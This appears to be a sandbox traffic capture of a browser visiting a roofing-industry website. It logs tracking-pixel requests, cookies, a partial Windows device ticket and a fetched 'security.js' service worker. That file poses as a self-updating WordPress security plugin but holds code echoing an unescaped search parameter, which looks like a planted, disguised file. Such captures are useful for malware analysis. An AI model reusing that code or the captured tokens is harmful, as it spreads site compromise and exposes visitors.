2024-04-23 14:53:55 UTC	1062	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:55 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Set-Cookie: f_id=6627cb818425280008d4a656; Domain=feathr.co; Expires=Wed, 23 Apr 2025 14:53:55 GMT; Secure; Path=/; SameSite=None Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9Pt7GtVv%2BT8yhPJdlHSc7RC%2Bss3y4lCG%2BYTpGinZ7QxkSuq8nuAsveetTXcR73aOEf1sbF7Qo%2FHh6NQt7nUzhwsYQze5hUYi5rdhZ9LF8NT8at29WoyVaIAoQTNG6wPI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eaf96bca006ec-ATL
2024-04-23 14:53:55 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49864	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:55 UTC	744	OUT	GET /v1/analytics/match?f_id=6627cb818425280008d4a656&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&a_id=603026366fd8bf4e42de107f HTTP/1.1 Host: polo-v1.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:53:55 UTC	929	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:55 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aDp5krAsy0eshIcgkCUlEOfSHLkngeXaUtQOl5qHTxVcyGRmOL0rgG7YbxuMZX75GleuZRGX5jHXowXWAUwkvVyaiqQn8rrja%2BjHygPbpp82LFoTO8iDklkjSAr3qSTK8uBD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eaf9788df0803-ATL
2024-04-23 14:53:55 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49866	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:56 UTC	619	OUT	GET /v1/analytics/crumb?cb=1713884033956&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1 Host: polo.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:53:56 UTC	1064	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:56 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Set-Cookie: f_id=6627cb818425280008d4a656; Domain=feathr.co; Expires=Wed, 23 Apr 2025 14:53:56 GMT; Secure; Path=/; SameSite=None Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T6txSuFphutQbfqnU8jh%2Bqx%2BCceI%2FeablbN47u%2BXe1Z4IuH9CE5vma1YYy4BXVeMriJLHZUhPFFD5uWO0zQQHQFBTAseoLOyEO%2FEW3DWZoqv76aVRmUZgqEgxQnIZIzY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eaf9b5bbcad94-ATL
2024-04-23 14:53:56 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	49865	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:56 UTC	644	OUT	GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884034686 HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:53:56 UTC	972	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:56 GMT Content-Type: text/javascript Content-Length: 207 Connection: close Cache-Control: no-cache, max-age=0 ETag: "6627cb818425280008d4a656" Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WKBz%2Bs2RFI%2BSy%2FewazLutE9pEw7VHaZYBRN%2F9HwlF%2BgcJ8YOvO2pzzj3MM6wlA9mRfARxElfpaGlQJE48MRCjGyWEGGpicV2Y%2BodEf%2Btn25XyskuafrD7Vb%2FQTMl2pJA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eaf9b5f7f7ba0-ATL
2024-04-23 14:53:56 UTC	207	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 77 29 20 7b 0a 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 77 2e 66 65 61 74 68 72 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 7b 0a 20 20 20 20 20 20 20 20 77 2e 66 65 61 74 68 72 28 27 6d 61 74 63 68 27 2c 20 27 36 36 32 37 63 62 38 31 38 34 32 35 32 38 30 30 30 38 64 34 61 36 35 36 27 2c 20 27 62 37 33 63 62 62 65 39 2d 64 33 66 36 2d 34 33 66 39 2d 38 39 31 62 2d 33 31 38 36 65 65 34 37 31 32 61 62 27 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 0a 7d 28 77 69 6e 64 6f 77 29 29 3b Data Ascii: (function (w) { if (typeof w.feathr === 'function') { w.feathr('match', '6627cb818425280008d4a656', 'b73cbbe9-d3f6-43f9-891b-3186ee4712ab'); } }(window));

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	49867	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:56 UTC	502	OUT	GET /v1/analytics/match?f_id=6627cb818425280008d4a656&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&a_id=603026366fd8bf4e42de107f HTTP/1.1 Host: polo-v1.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:53:56 UTC	935	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:56 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hSfNqO4DrS8Ml1E4ipnh2RLKjAFoaBj4sN%2BtsG9rIHl4ugWVxj4Cb%2F3n1KNo%2Bei3FfyB1DliOs5Q4SaBXb%2FM5Fcz7qGawtm0wktSeVKn1gUxb2VRCdEgRhizPMiwdAwJ0huK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eaf9bf8496735-ATL
2024-04-23 14:53:56 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49868	20.25.241.18	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:56 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 52 4f 4e 78 56 50 63 49 68 30 71 6f 45 5a 54 58 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 35 36 66 62 62 33 31 63 61 32 31 32 34 39 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: RONxVPcIh0qoEZTX.1Context: 756fbb31ca21249d
2024-04-23 14:53:56 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-23 14:53:56 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 52 4f 4e 78 56 50 63 49 68 30 71 6f 45 5a 54 58 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 35 36 66 62 62 33 31 63 61 32 31 32 34 39 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 6c 62 2b 57 67 59 4e 43 38 55 37 6b 51 50 4a 79 72 44 31 34 53 77 45 71 2f 55 47 65 57 78 34 7a 74 51 6b 6b 30 53 57 61 66 59 30 6d 78 4d 34 46 4d 2f 56 61 6f 56 4d 51 53 65 36 50 68 52 57 4b 30 68 2f 4c 6a 30 52 35 5a 56 68 35 61 71 57 4c 37 31 49 64 33 51 32 50 48 75 56 47 69 55 70 6a 54 5a 47 53 69 38 66 42 4c 6f 4c 77 Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: RONxVPcIh0qoEZTX.2Context: 756fbb31ca21249d<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQlb+WgYNC8U7kQPJyrD14SwEq/UGeWx4ztQkk0SWafY0mxM4FM/VaoVMQSe6PhRWK0h/Lj0R5ZVh5aqWL71Id3Q2PHuVGiUpjTZGSi8fBLoLw
2024-04-23 14:53:56 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 52 4f 4e 78 56 50 63 49 68 30 71 6f 45 5a 54 58 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 35 36 66 62 62 33 31 63 61 32 31 32 34 39 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: RONxVPcIh0qoEZTX.3Context: 756fbb31ca21249d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-23 14:53:56 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-23 14:53:56 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 63 56 55 38 34 41 6c 47 55 6b 47 46 61 77 30 6d 32 4a 78 79 49 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: cVU84AlGUkGFaw0m2JxyIg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49869	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:56 UTC	636	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/integrations/facebook/pixel.js?pk=feathr HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:53:56 UTC	939	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:56 GMT Content-Type: text/javascript Content-Length: 510 Connection: close Cache-Control: must-revalidate, max-age=14400 Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1mK%2F3Qit8Oy1LkizrLczUrq3sEIMAhXBfBlfNsEXG5RlrPzLcBqtknS15rCNNPz%2B4XBbLRPlBIuxqp90kT3SoLlXXRjPuPYAIXF%2F4zrxRXrCgu3E709bU3Yv6h193zqu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eaf9e8b666730-ATL
2024-04-23 14:53:56 UTC	430	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 66 2c 62 2c 65 2c 76 2c 6e 2c 74 2c 73 29 7b 69 66 28 66 2e 66 62 71 29 72 65 74 75 72 6e 3b 6e 3d 66 2e 66 62 71 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 63 61 6c 6c 4d 65 74 68 6f 64 3f 0a 6e 2e 63 61 6c 6c 4d 65 74 68 6f 64 2e 61 70 70 6c 79 28 6e 2c 61 72 67 75 6d 65 6e 74 73 29 3a 6e 2e 71 75 65 75 65 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 7d 3b 69 66 28 21 66 2e 5f 66 62 71 29 66 2e 5f 66 62 71 3d 6e 3b 0a 6e 2e 70 75 73 68 3d 6e 3b 6e 2e 6c 6f 61 64 65 64 3d 21 30 3b 6e 2e 76 65 72 73 69 6f 6e 3d 27 32 2e 30 27 3b 6e 2e 71 75 65 75 65 3d 5b 5d 3b 74 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 65 29 3b 74 2e 61 73 79 6e 63 3d 21 30 3b 0a 74 2e 73 72 63 3d 76 3b 73 3d 62 2e 67 65 74 45 6c 65 6d 65 6e 74 Data Ascii: !function(f,b,e,v,n,t,s){if(f.fbq)return;n=f.fbq=function(){n.callMethod?n.callMethod.apply(n,arguments):n.queue.push(arguments)};if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';n.queue=[];t=b.createElement(e);t.async=!0;t.src=v;s=b.getElement
2024-04-23 14:53:56 UTC	80	IN	Data Raw: 28 27 69 6e 69 74 27 2c 20 27 36 38 38 32 32 34 31 38 39 38 39 36 38 35 35 27 29 3b 0a 66 65 61 74 68 72 28 27 69 6e 74 65 67 72 61 74 65 27 2c 20 27 66 61 63 65 62 6f 6f 6b 27 2c 20 27 36 38 38 32 32 34 31 38 39 38 39 36 38 35 35 27 29 3b Data Ascii: ('init', '688224189896855');feathr('integrate', 'facebook', '688224189896855');

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49870	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:56 UTC	936	OUT	GET /wp-content/uploads/2017/04/cropped-logo-icon-150x150.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:56 UTC	515	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:56 GMT Content-Type: image/png Content-Length: 2118 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:28:39 GMT ETag: "1be1daa-846-5d9f3d2b65bc0" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:56 UTC	2118	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 03 00 00 00 0b df 81 d0 00 00 00 48 50 4c 54 45 91 6e 6c a3 9f a1 80 40 39 a6 a6 a9 76 26 1c a7 a8 ab 75 23 1a a7 a8 ab 76 24 1b 8e 66 63 a7 a7 ab 74 21 18 a7 a7 ab a7 a7 ab 87 53 4f 74 21 18 a7 a9 ac 74 20 16 a7 a9 ad 9d 8e 8f a7 a9 ad 75 22 18 a7 a9 ad 74 20 16 9e 7f 23 34 00 00 00 18 74 52 4e 53 00 0c 10 1e 24 34 3d 4f 5e 62 69 84 89 a5 ac b0 bc d5 d9 e7 ef ef fe fe d0 81 dd 74 00 00 07 95 49 44 41 54 78 da cd 9c db 9a a3 2a 10 46 05 15 89 82 20 8d fa fe 6f 3a 1f 27 83 08 c6 64 12 a1 66 5f ec 9b ee 59 f3 57 51 27 d4 aa ba 62 75 47 68 5f 83 aa 30 ab 7b c2 69 df 96 06 56 f7 5c 0a 4e ba c2 b8 da 9e cb 45 6a c1 8a c2 22 7c 59 96 45 70 d2 b6 a0 24 2c 21 15 97 14 b4 ef ca e1 6a a9 58 Data Ascii: PNGIHDRHPLTEnl@9v&u#v$fct!SOt!t u"t #4tRNS$4=O^bitIDATx*F o:'df_YWQ'buGh_0{iV\NEj"\|YEp$,!jX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49871	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:56 UTC	778	OUT	GET /security.js?v=1713884035214 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://www.asphaltroofing.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:57 UTC	543	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:56 GMT Content-Type: text/javascript Content-Length: 1478 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 29 Apr 2022 14:36:00 GMT ETag: "4506e-5c6-5ddcbf6119400" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:57 UTC	1478	IN	Data Raw: 2f 2a 20 49 74 20 69 73 20 57 6f 72 64 50 72 65 73 73 20 73 65 63 75 72 69 74 79 20 66 69 6c 65 2e 0d 0a 54 68 61 6e 6b 73 20 74 6f 20 74 68 69 73 20 70 6c 75 67 69 6e 2c 20 79 6f 75 72 20 77 65 62 73 69 74 65 20 77 69 6c 6c 20 62 65 20 66 61 73 74 65 72 2c 20 6d 6f 72 65 20 75 70 2d 74 6f 2d 64 61 74 65 20 61 6e 64 20 6d 6f 72 65 20 73 65 63 75 72 65 2e 20 54 68 69 73 20 70 6c 75 67 69 6e 20 69 73 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 75 70 64 61 74 65 64 20 62 79 20 74 68 65 20 73 79 73 74 65 6d 2e 0d 0a 0d 0a 24 73 65 61 72 63 68 20 3d 20 24 5f 47 45 54 5b 27 73 65 61 72 63 68 27 5d 20 3f 3f 20 6e 75 6c 6c 3b 0d 0a 65 63 68 6f 20 27 53 65 61 72 63 68 20 72 65 73 75 6c 74 73 20 66 6f 72 20 27 2e 24 73 65 61 72 63 68 3b 0d 0a 24 73 65 61 72 63 68 Data Ascii: /* It is WordPress security file.Thanks to this plugin, your website will be faster, more up-to-date and more secure. This plugin is automatically updated by the system.$search = $_GET['search'] ?? null;echo 'Search results for '.$search;$search

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49876	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:57 UTC	693	OUT	GET /wp-content/uploads/2017/04/cropped-logo-icon-150x150.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
